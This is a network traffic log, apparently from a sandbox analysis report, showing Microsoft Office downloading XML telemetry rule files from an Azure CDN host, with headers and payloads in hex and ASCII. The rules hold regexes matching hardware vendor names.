2024-11-12 12:35:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:19 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:19 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ec03aeec-b01e-005c-7ba1-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123519Z-17df447cdb5l865xhC1DFW9n7g00000008u0000000007rnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:19 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:19 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123519Z-16547b76f7f4k79zhC1DFWu9y00000000fn000000000a26d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:20 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:20 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: e927806a-001e-002b-31a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123520Z-15869dbbcc6bdtw9hC1DFW9m4s00000007mg00000000anz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:20 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123520Z-16547b76f7fnlcwwhC1DFWz6gw0000000fr0000000008q89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 9dcd50e6-101e-0034-2ca1-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123520Z-17df447cdb5t94hvhC1DFWw9780000000cgg000000003rae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:20 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123520Z-16547b76f7fkj7j4hC1DFW0a9g0000000fh000000000b7mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8d97175c-301e-005d-0fa7-34e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123520Z-15869dbbcc6lq2lzhC1DFWs1sn00000001n000000000bx69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:20 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:20 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123520Z-16547b76f7f4k79zhC1DFWu9y00000000fsg0000000028n1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:20 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0559421d-e01e-000c-5ba0-348e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-17df447cdb5km9skhC1DFWy2rc0000000cg0000000003tm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:21 UTC	498	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a5d3a887-701e-0050-40a7-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-17df447cdb542kkvhC1DFW3d4400000000q000000000bnep x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-12 12:35:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123521Z-16547b76f7f7lhvnhC1DFWa2k00000000fhg0000000075nq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:21 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
